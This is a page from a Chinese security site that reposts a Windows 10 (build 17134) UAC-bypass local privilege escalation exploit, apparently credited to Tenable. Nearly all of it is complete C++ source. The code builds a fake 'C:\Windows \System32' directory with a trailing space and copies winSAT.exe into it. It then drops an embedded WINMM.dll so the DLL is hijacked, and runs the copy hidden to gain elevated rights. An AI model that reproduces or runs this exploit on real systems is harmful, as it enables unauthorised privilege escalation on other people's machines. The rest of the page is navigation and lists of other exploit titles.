首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass)
来源:vfocus.net 作者:Tenable 发布时间:2018-11-14  
#include "stdafx.h"
#include <Windows.h>
#include "resource.h"
 
void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
    HMODULE hMod = GetModuleHandle(NULL);
    HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
    DWORD dllSize = SizeofResource(hMod, res);
    void* dllBuff = LoadResource(hMod, res);
    HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
    DWORD sizeOut;
    WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
    CloseHandle(hDll);
}
 
int main()
{
    _SHELLEXECUTEINFOW se = {};
    //Create Mock SystemRoot Directory
    CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
    CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0);
    CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false);
 
    //Drop our dll for hijack
    DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll");
 
    //Execute our winSAT.exe copy from fake trusted directory
    se.cbSize = sizeof(_SHELLEXECUTEINFOW);
    se.lpFile =  L"C:\\Windows \\System32\\winSAT.exe";
    se.lpParameters = L"formal";
    se.nShow = SW_HIDE;
    se.hwnd = NULL;
    se.lpDirectory = NULL;
    ShellExecuteEx(&se);
 
        return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·VideoScript 3.0 <= 4.0.1.50 Of
  相关文章
·VSAXESS V2.6.2.70 build2017122
·HeidiSQL 9.5.0.5196 - Denial o
·libiec61850 1.3 - Stack Based
·TP-Link Archer C50 Wireless Ro
·eToolz 3.4.8.0 - Denial of Ser
·CuteFTP 9.3.0.3 - Denial of Se
·Arm Whois 3.11 - Buffer Overfl
·Mongoose Web Server 6.9 - Deni
·CMS Made Simple 2.2.7 - Remote
·CuteFTP Mac 3.1 - Denial of Se
·Dell OpenManage Network Manage
·Evince 3.24.0 - Command Inject
  推荐广告
CopyRight © 2002-2019 VFocuS.Net All Rights Reserved